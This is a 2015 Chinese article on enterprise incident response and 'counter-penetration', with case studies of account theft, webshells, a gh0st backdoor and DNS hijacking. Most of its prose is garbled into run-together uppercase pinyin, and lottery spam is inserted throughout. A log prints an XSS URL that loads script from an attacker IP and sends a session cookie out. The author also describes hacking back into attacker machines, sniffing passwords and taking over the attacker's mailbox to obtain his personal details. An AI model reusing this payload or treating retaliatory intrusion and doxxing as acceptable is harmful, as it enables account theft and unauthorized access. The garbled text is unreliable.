荣耀彩票代理

IT技术互动交流平台

“企业应急响应和反渗透”之真实案例分析

作者:Painting  发布日期:2015-08-22 22:28:28

FENGHUISHANGJIANGGUODEYITI,ZHENGLICHENGWENZHANG,YIGONGDAJIAPIPINGZHIZHENG。

DUIYUQIYEYINGJIXIANGYING,WOXIANGZHIYAOCONGSHIANQUANGONGZUODETONGXUEDOUYOUJIECHU,WOYEYIYANG,ZAIJIAFANGYIFANGGONGZUODEZHEIJINIAN,CHULIGUOBUSHAOYINGJIXIANGYINGDESHIJIAN,DANSHIMEIGERENDOUHUIYOUZIJIZUOSHIDEFANGFA,ZAIZHEILIWOZHUYAOFENXIANGYIXIAWODUIYINGJIXIANGYINGDELIJIEYIJIDUIPENGDAODEYIXIEANLI。

0x00 什么时候做应急响应?


荣耀彩票代理YINGJIXIANGYING,GUJIZUIJINJINIANTINGDAOZHEIGECIGENGDUOSHIYINWEIGEDAJIAFANGGONGSIKAISHIJIANSHEHEYUNYINGZIJIDEYINGJIXIANGYINGPINGTAI,YEJIUSHI xSRC。KANQILAIDUIBAOGAODAOZHEIXIEDIFANGDELOUDONGJINXINGCHULIJIUYIJINGCHENGWEIQIYEYINGJIXIANGYINGDEZHUYAOGONGZUO,DANSHIYIWOZHIQIANZAIJIAFANGQINZICANYUJIANSHEYINGJIXIANGYINGPINGTAIHEQUQITAQIYEYINGJIXIANGYINGPINGTAITIJIAOLOUDONGDEJINGYANLAIKAN,NENGZHENZHENGBAPINGTAISHANGDELOUDONGDANGSHIYINGJIXIANGYINGSHIJIANQUCHULIDELIAOLIAOWUJI,GENGDUODEZHISHI:JIESHOU->CHULIZHEIZHONGJIANDANZHONGFUDELIUSHUIXIANGONGZUO。YINWEITAMENHUIJUEDEBAOGAODAOZHEIXIEDIFANGDELOUDONGTADEFENGXIANSHIKEKONGDE。

WOLIJIEDEYINGJIXIANGYINGSHIDUITUFADEWEIZHIDEANQUANSHIJIANJINXINGYINGJIXIANGYINGCHULI。ZHEIZHONGQINGKUANGYIBANDOUSHI“BEIHEI”LE。“BEIHEI”BAOKUOHENDUOZHONG:FUWUQIBEIRUQIN,YEWUCHUXIANRUCHONGSHIJIAN,YONGHUYIJIGONGSIYUANGONGBEIDIAOYUGONGJI,YEWUBEI DDoS GONGJI,HEXINYEWUCHUXIANDNS、LIANLUJIECHIGONGJIDENGDENGDENGDENG。

0x01 为什么做应急响应?


WOZAIFENGHUISHANGSHUOSHI**DE,SUIRANZHISHIKAIGEWANXIAO,DANSHIYENENGGOUFANYINGCHUZUOYINGJIXIANGYINGSHIYIJIANKUCHASHI,YOUDESHIHOUYAOZUODAO 7*24 XIAOSHIXIANGYING,WOJUEDESHIMEIRENXIHUANZHEIMEYIJIANKUCHASHIDE,DANSHIZUOWEIANQUANRENYUANZHEISHIWOMENDEZHIZE。

荣耀彩票代理NEISHUODAODIWOMENWEISHENMEZUOYINGJIXIANGYINGNI,WOJUEDEYOUYIXIAJIGEYINSU:

  1. 保障业务
  2. 还原攻击
  3. 明确意图
  4. 解决方案
  5. 查漏补缺
  6. 司法途径

    荣耀彩票代理DUIYUJIAFANGDEQIYELAISHUOYEWUYONGYUANSHIDIYIWEIDE,MEIYOUYEWUHETANANQUAN,NEIMEWOMENZUOYINGJIXIANGYINGSHOUXIANJIUSHIYAOBAOZHANGYEWUNENGGOUZHENGCHANGYUNXING,QICISHIHAIYUANGONGJICHANGJING,GONGJIZHESHITONGGUOSHENMETUJINGJINXINGDEGONGJI,YEWUZHONGCUNZAISHENMEYANGDELOUDONG,TADEYITUSHISHENME?QIEQUSHUJU?XUANYAOJISHU?DANGWOMENLEJIEDAOQIANMIANDEZHIHOUJIUXUYAOTICHUJIEJUEFANGAN,XIUFULOUDONG?HAISHIJIAQIANGFANGWENKONGZHI?ZENGTIANJIANKONGSHOUDUAN?DENGDENG,WOMENBADANGQIANDEWENTIJIEJUEDIAOZHIHOU,WOMENHAIXUYAOCHALOUBUQUE,LAIJIEJUEYEWUZHONGTONGYANGDELOUDONG?ZUIHOUJIUSHIXUBUXUYAOSIFADEJIERU。

    0x02 怎么做应急响应?


    JUTIZENMEZUOYINGJIXIANGYING,WOZHIQIANGENJUZIJIZUOYINGJIXIANGYINGDEJINGYANZONGJIEJIDIAN:

    1. 确定攻击时间
    2. 查找攻击线索
    3. 梳理攻击流程
    4. 实施解决方案
    5. 定位攻击者

      QUEDINGGONGJISHIJIANNENGGOUBANGZHUWOMENSUOXIAOYINGJIXIANGYINGDEFANWEI,YOUZHUYUWOMENTIGAOXIAOLV,CHAZHAOGONGJIXIANSUO,NENGGOURANGWOMENZHIDAOGONGJIZHEDOUZUOLESHENMESHIQING,SHULIGONGJILIUCHENGZESHIHAIYUANZHENGGEGONGJICHANGJING,SHISHIJIEJUEFANGANJIUSHIXIUFUANQUANLOUDONG,QIEDUANGONGJITUJING,ZUIHOUJIUSHIDINGWEIGONGJIREN,ZESHIQUZHENG。

      荣耀彩票代理ps:DINGWEIGONGJIZHE,WOJUEDELUOKADINGLVSHUODETINGHAODE:FANYOUJIECHU,BILIUHENJI。

      0x03 为什么做反渗透?


      YIFANGMIANWOMENKEYIBABEIDONGDEJUMIANZHUANBIANWEIZHUDONGDEJUMIAN,ZAIZHEIZHONGZHUDONGDEJUMIANXIAWOMENNENGGOULEJIEDAOGONGJIZHEDOUDUIWOMENZUOLESHENMESHIQING,ZUODAOSHENMECHENGDU,TAXIAYIBUDEMUBIAOHUISHISHENME?ZUIGUANJIANDEWOMENNENGGOUZHIDAOGONGJIZHESHISHEI。

      NEIMEJUTIZENMEZUONI?JIUYAOYONGGONGJIZHEDEFANGFAFANJIGONGJIZHE。SHUOQILAIJIANDAN,ZUOQILAIKENENGJIUHUIFAXIANHENNAN,DANSHIWOMENKEYIJIEZHUWOMENZISHENDEYOUSHI,TONGGUOYEWUSHUJUJIAOCHADUIBILAIDUIGONGJIZHELEJIEGENGDUO,SHENZHIKEYIZAIGONGJIZHEDEHOUMENLIMIANJIASHANGGONGJIDAIMADENG。

      0x04 案例之官微帐号被盗


      ZHEISHIDIYIGEANLI,SHIGUANFANGWEIBOZHANGHAOBEIDAODEANLI。SHOUXIANKANXIAMIANLIANGZHANGTUPIAN:

      enter image description here

      enter image description here

      荣耀彩票代理MOUTIANWOMENDEYIGEGUANFANGZHANGHAOTUFALIANXUFALIANGTIAOBUZHENGCHANGDEWEIBONEIRONG,KANDAODIYITIAODESHIHOUHAIYIWEISHIGONGZUORENYUANXIAOSHOUYIDOU,test DAOSHOU,YIWEISHIGONGZUORENYUANDEWUCAOZUO,DANSHIKANDAODIERTIAOWEIBODESHIHOUJIUYIJINGNENGGOUPANDUANZHANGHAOCHULEWENTI,JUTISHISHENMEWENTIZHINENGTONGGUOHOUMIANDEFENXICAIZHIDAO。

      DANSHIKENDINGDESHIZHEIBUSHIGONGZUORENYUANJINXINGDECAOZUO,YIFANGMIANZAIZHEIZHONGZHONGYAOZHANGHAODECAOZUOSHANGYOUYIXIEZHIDU,QICISHIFABUDENEIRONGYEBIJIAOMINGXIAN,GENJUFABUDESHIJIANTONGGUOHOUTAIXITONGFENXI,GAIZHANGHAOYOUTONGGUO cookie ZAIFEIGONGSI IP JINXINGGUODENGLU,DANSHIWOMENDE cookie SHITONGGUO httponly JINXINGBAOHUDE,how?

      接下来锁定那个时间段操作过官方微博帐号同事的工作电脑,在其使用的火狐浏览器中发现有下面连续的几条访问记录:

      ==================================================
      URL               : http://t.cn/zW*bUQ
      Last Visit Date   : 2012-7-16 19:22:27
      ==================================================
      
      ==================================================
      URL               : http://50.116.13.242/index.php
      Last Visit Date   : 2012-7-16 19:22:28
      Referrer          : http://t.cn/zW*bUQ
      ==================================================
      
      ==================================================
      URL               : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
      Last Visit Date   : 2012-7-16 19:22:28
      Referrer          : http://50.116.13.242/index.php
      Title             : player.swf (application/x-shockwave-flash 对象)
      ==================================================
      
      ==================================================
      URL               : http://50.116.13.242/e.php?opener=0&cookie=ULV%3D1342421444188%3A342%3A12%3A1%3A306588567000.3021.1342421444076%3A1342141514702%3B%20__utma%3D182865017.844076418.1336462885.1341536058.1341543017.15%3B%20__utmz%3D182865017.1341473198.13.8.utmcsr%3Dweibo.com%7Cutmccn%3D%28referral%29%7Cutmcmd%3Dreferral%7Cutmcct%3D/breakingnews%3B%20vjuids%3Ddae3c1e13.1369ca9b037.0.1a9eb5f46e6ac8%3B%20vjlast%3D1334068228.1341096989.11%3B%20UOR%3D%2C%2C%3B%20un%3D*@sina.com%3B%20wvr%3D3.6%3B%20_s_tentry%3Dnews.sina.com.cn%3B%20Apache%3D306588567000.3021.1342421444076%3B%20SINAGLOBAL%3D306588567000.3021.1342421444076%3B%20SUS%3DSID-1618051664-1342421545-XD-z8hcn-efefbc9f4464bf215caf1d6b0da488bf%3B%20SUE%3Des%253D5937b4f4509871fc45195767ea7abe37%2526ev%253Dv1%2526es2%253Da42f0190f7b1f5137f761f625bbe0e81%2526rs0%253DpnLlydVz7IsdBcHbRCS8Tdb1KmHl7c%25252F758lHMKQRftFZBm9EDKoFVF7jexRKPF8CpY3rjGOora0pZ%25252FyDJSaDWJxRQn020MpsJxXhf5NdP2h3jfo2V%25252FoQgA0olYEWGJNQIDFZDfkndhSSXCp%25252BldHRW%25252BkEMwhvhY4p3xR0Ki5ja94%25253D%2
      Last Visit Date   : 2012-7-16 19:22:31
      Referrer          : http://**.***.com/_common/jwplayer/player.swf?debug=(function(){location.href=%27javascript:%22%3Cscript/src=http://50.*.*.242/e.js%3E%3C/script%3E%22%27})
      ==================================================
      

      DUISHANGMIANDEFANGWENJILUWOXIANGWOBUXUYAOZUOTAIDUODEJIESHI。ZAIGUANFANGWEIBOZHANGHAODESIXINLIMIANYOU http://t.cn/zW*bUQ DESIXINJILU。

      DAOZHEILIJIUYIJINGNENGGOUHAIYUANZHENGGEGONGJICHANGJINGLE

      1. 工作人员收到一条私信,并且打开了
      2. 私信链接是一个 xss 漏洞的链接
      3. 攻击代码利用另外一个业务的 apache httponly cookie 泄露漏洞窃取到 cookie

        荣耀彩票代理SHIHOUWOMENXIUFULEZHEICIGONGJIZHONGDELOUDONG,TONGSHIXIUFULEYEWUZHONGTONGLEIDEANQUANLOUDONG,TONGSHIJIAQIANGLEYUANGONGANQUANYISHI,BINGQIEZENGJIALEXIANGYINGDEZHANGHAOANQUANCELVE。

        荣耀彩票代理ZUIHOUWOMENTONGGUOHOUTAIDE IP HEYOUXIANGDENGSHUJUDINGWEIDAOLEGONGJIZHE,ZAIZHENGGEGONGJIZHONGYEBINGMEIYOUEYI,TAYEBAXIANGGUANDELOUDONGHEGONGJIGUOCHENGTIJIAODAOWUYUNLOUDONGBAOGAOPINGTAI,DAJIAKEYIQUZHUZHANZHAOZHAOZHEIGELOUDONG,WOZHEILIJIUBUTIEXIANGGUANLIANJIELE。

        0x05 案例之 500 错误日志引发的血案


        SHOUXIANKANXIATU

        enter image description here

        YITIAN QA FALAIYOUJIANXUNWENYIGEBIJIAOYICHANGDESHIQING,MOUCESHIYEWUCHUXIANDUOTIAOZHUANGTAIMAWEI 500 DERIZHI,QA HUAIYISHIYOUHEIKEGONGJI,WOMENKAISHIJIERUJINXINGFENXI。

        500 CUOWUDAIBIAOWENJIANZHENSHICUNZAIGUOBINGQIEBEIRENFANGWENZHIXINGGUO,DANSHIXIANZAIWENJIANYIJINGBEISHANCHULE,TONGGUOWENJIANMINGKEYIPANDUANBINGFEISHIYEWUXUYAODEWENJIAN,BEIHEIDEKENENGXINGBIJIAODA,RANHOUZHAOLAI TOMCAT HEQIANDUAN Nginx RIZHICHAKANDEQUEBEISHANGCHUANLE webshell。

        enter image description here

        GENJUGONGJIZHE IP HESHIJIANDENGXIANSUOTONGGUOFENXI nginx HE tomcat DERIZHIKEYIQUEDINGGONGJIZHESHITONGGUO tomcat DEGUANLIHOUTAISHANGCHUANDE webshell,BINGQIETONGGUO webshell ZUOLEXUDUOCAOZUO

        enter image description here

        DANSHItomcat ZHANGHAOMIMABINGFEIRUOMIMA,how?WOMENJIEXIALAIDUIQUANWANGDE tomcat JINXINGLEPAICHA,FAXIANZAIQIZHONGYITAINEIWANGFUWUQICUNZAI tomcat RUOKOULING,BINGQIEZHANGHAOPEIZHIWENJIANZHONGHANYOUGONGJIZHESHIYONGDEZHANGHAOHEMIMA,ZHISHIZHEITAIFUWUQIJIAOZAOZHIQIANXIAXIANLEGONGWANG IP,ZHIBAOLIUNEIWANG IP,BINGQIETONGGUOFENXIZHEITAIFUWUQIDERIZHI,NENGGOUPANDUANGONGJIZHEZHIQIANJIUYIJINGTONGGUORUOKOULINGNADAOLEFUWUQIQUANXIAN,BINGQIESHOUJILEFUWUQISHANGDEYONGHUMINGHEMIMADENGXINXI。

        荣耀彩票代理WOMENXIANGKANKANGONGJIZHEDAODIXIANGGANSHENME,DUIZHIQIANSHOUJIDEGONGJIZHE IP JINXINGFANSHENTOU,YONG“HEIKE”DEFANGFANADAOXIANGGANG,LANGFANGDUOTAIGONGJIZHEROUJIQUANXIAN,ROUJISHANGFAXIANLEDALIANGHEIKEGONGJUHESAOMIAORIZHI,ZAIQIZHONGYITAIROUJISHANGFAXIANWOMENNEIWANGRENGYOUFUWUQIBEIKONGZHI。

        荣耀彩票代理XIAMIANLIANGZHANGTUPIANKEYIKANDAOGONGJIZHETONGGUO lcx ZHONGZHUANLENEIWANGDEFANDAN shell

        enter image description here

        enter image description here

        NEIMEDAOMUQIANWEIZHIWOMENZUOLENAXIESHIQINGNI?

        1. 清理后门
        2. 清理全网 tomcat
        3. 梳理全网 web 目录文件
        4. 修改业务相关帐号密码
        5. 修改业务关键代码
        6. 加强 IDC 出口策略
        7. 部署 snort

          ZUOLEHAODUOSHIQING?KESHISHISHISHANGNI?SHIQINGBINGMEIYOUWOMENXIANGDENEIMEJIANDAN。

          ZHIQIANDEANQUANSHIJIANGANGGUOBUJIU,IT RENYUANFANKUIYUKONGFUWUQIYICHANG,ZIDONGZHONGQI,FEICHANGYICHANG。DENGLUYUKONGJINXINGPAICHAYUANYIN,FAXIANYUKONGBEIZHIRULE gh0st HOUMEN。

          enter image description here

          YUKONGBEIKONGZHI,NEIYUKONGXIAMIANDEFUWUQIDEANQUANXINGJIUHAOWUBAOZHANG,JIXUDUIBANGONGWANGSUOYOUDE windows FUWUQIPAICHA,FAXIANDUOTAI Windows FUWUQIBEIZHIRUHOUMEN,GONGJIDEFANGFASHITONGGUOYUKONGGUANLIYUANZHANGHAOMIMALIYONG at FANGSHITIANJIAJIHUARENWU。

          NENGGOUZHIDAOGONGJIZHESHIRUHERUQINDEYUKONGFUWUQIBIJIAOGUANJIAN,DUIYUKONGFUWUQIDERIZHIJINXINGFENXIFAXIANXIAMIANKEYIDERIZHI:

          2011-11-10,14:03:47,Security,审核成功,登录/注销 ,540,**,PDC,”成功的网络登录:
          用户名:    *.ad
          域:      *
          登录 ID:      (0x0,0x1114E11)
          登录类型:   3
          登录过程:   NtLmSsp 
          身份验证数据包:    NTLM
          工作站名:   CC-TEST-V2
          登录 GUID:    -
          调用方用户名: -
          调用方域:   -
          调用方登录 ID:   -
          调用方进程 ID: -
          传递服务: -
          源网络地址:  192.168.100.81
          源端口:    0
          
          2011-11-10,3:13:38,Security,审核失败,帐户登录 ,680,NT AUTHORITYSYSTEM,PDC,'尝试  登录的用户:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
          登录帐户:   QM-*$
          源工作站:   CC-TEST-V2
          错误代码:   0xC000006A
          '
          2011-11-10,3:13:38,Security,审核失败,帐户登录 ,680,NT AUTHORITYSYSTEM,PDC,'尝试  登录的用户:  MICROSOFT_AUTHENTICATION_PACKAGE_V1_0
          登录帐户:   QM-*$
          源工作站:   CC-TEST-V2
          错误代码:   0xC000006A
          

          JIEHEZHIQIANDEXINXINENGGOUSUODING 192.168.100.81 SHIGONGJIYUAN,SUIDUIZHEITAIFUWUQIJINXINGQUEREN,JIEGUOYOUDIANLINGRENCHIJING:

          ZHEISHIYITAIXUNIJI,YUNXINGZAIYITAIPUTONGDE PC JISHANG,ZHEITAI PC JIJIUFANGZAIYEWUBUMENTONGSHIDEJIAODIXIA,ZHEITAIXUNIJIBENSHENQIYONGLE 3389,CUNZAIRUOKOULING,WOMENZHIQIANZAIDUINEIWANGANQUANJIANCHASHI,ZHEITAIXUNIJICHUYUGUANJIZHUANGTAI。YOUYUZHEITAIXUNIJISHANGMIANPAODEYOUCESHIYEWU,YUKONGGUANLIYUANCENGJINGDENGLUGUO。

          荣耀彩票代理ZONGHEWOMENZHIQIANDEDAODEXINXIKEYIQUEDINGZHEITAIXUNIJISHIGONGJIZHERUQINWOMENBANGONGWANGDEDIYITAIFUWUQI,TONGGUOBAZHEIGEXUNIJIZUOWEITIAOBANGONGJIBANGONGWANGQITAFUWUQI,ZHIYUZHEITAIXUNIJISHIRUHEBEIRUQINDE,WOMENHOUMIANYEQUEDINGSHIYINWEISHANGCIDEGONGJISHIJIAN,GONGJIZHETONGGUO IDC JINRUDAODEBANGONGWANG。

          WOMENYOUZUOLESHENME?

          1. 排查所有 windows 服务器
          2. 对之前确定被入侵的服务器重装,包括域控
          3. snort 上加了 gh0st 的特征

            荣耀彩票代理snort JIASHANG gh0st DETEZHENGHOUBUJIUWOMENJIUFAXIANWOMENBANGONGWANGHAIYOUFUWUQIBEIKONGZHI

            enter image description here

            DUIZHEITAIFUWUQIJINXINGQINGLIHOU,WOMENRENGRANMEIYOUFANGQIDUIGONGJIZHEDEFANSHENTOU,ZHEICIWOMENFAXIANGONGJIZHEHAIYOUMEIGUODE IP,DUIQISHENTOU,ZUIZHONGTONGGUO c DUANJINXING cain XIUTANDAO 3389 DEMIMA。

            DENGLUDAOZHEITAIMEIGUO IP DEFUWUQIHOU,FAXIANSHANGMIANYUNXINGZHE gh0st DEKONGZHIDUAN,WOMENNEIWANGRENGRANYOUYITAIFUWUQICHUYUSHANGXIANZHUANGTAI。

            enter image description here

            QISHIDAOZHEILIZHEICISHIJIANJIUNENGGAOYIDUANLUOLE,GUANYUGONGJIZHEWOMENZAIZHEITAIMEIGUODEFUWUQISHANGFAXIANLEGONGJIZHEDEDUOGE QQ HEMIMA,DENGLUYOUXIANGHOUZHAODAOLEGONGJIZHEDEJIANLIDENGSIRENXINXI,HAIYOUJIUSHIWOMENZHIQIANYEHUOQUDAOGONGJIZHEZAIGUONEIMOUANQUANLUNTANZHANGHAO。QISHIDAOZHEILIWOMENNENGGOUQUEDINGGONGJIZHESHISHEILE。

            enter image description here

            enter image description here

            0x06 案例之永无止境的劫持


            DUIYUJIECHIWOXIANGDAJIADOUBUMOSHENG,WOMENZAISHENGHUOZHONGBIJIAOCHANGJIANDAODEJIUSHIYUNYINGSHANGZAIYEMIANZHONGCHARUGUANGGAODENGDAIMA,ZHEIZHONGJIUSHIYIZHONGJIECHIGONGJI。

            HUIDAOANLIBENSHEN,WOMENDEYIGEYEWUXIANHOUCHUXIANDUOCIDUOZHONGSHOUDUANDEJIECHIGONGJI,YICISHI dns JIECHI,BAYEWUDEYUMINGJIECHIDAO 61.* ZHEIGE ip SHANG,LINGWAIYICISHILIANLUJIECHI,TIHUANFUWUQIFANHUIJIYONGHUDE http XIANGYINGNEIRONG,ZHEILIANGCIDEMUDEDOUYIYANGJIUSHIZAIDENGLUKOUTIANJIA js DAIMA,YONGYUQIEQUYONGHUDEYONGHUMINGHEMINGWENMIMA。WOMENLINGWAIYIGEYEWUYEZAOSHOULIANLUJIECHI,ZHIJIETIHUANKEHUTOUFANGDEGUANGGAODAIMA,JIYEWUZAOCHENGHENDADEJINGJISUNSHI。

            XIAMIANLIANGGETUSHIWOMENYEWUJIANKONGXITONGHEJIDIAODEJIETU,SHANGMIANDETUKEYIHENMINGXIANKANDAOZAI 9:30 YONGHUDENGLUCHENGGONGSHUMINGXIANXIAJIANG,CHIXUBUDAOYIGEXIAOSHI,XIATUSHIQUANGUOBUFENDIQUJIDIAODESHUJU,KEYIKANDAOYUMINGBEIMINGXIANJIECHIDAO 61 ZHEIGE ip,ZHEISHIYICIDIANXINGDE DNS GONGJI。

            enter image description here

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            荣耀彩票代理YEMIANZHONGBEICHARUDEGONGJIHEXINDAIMA

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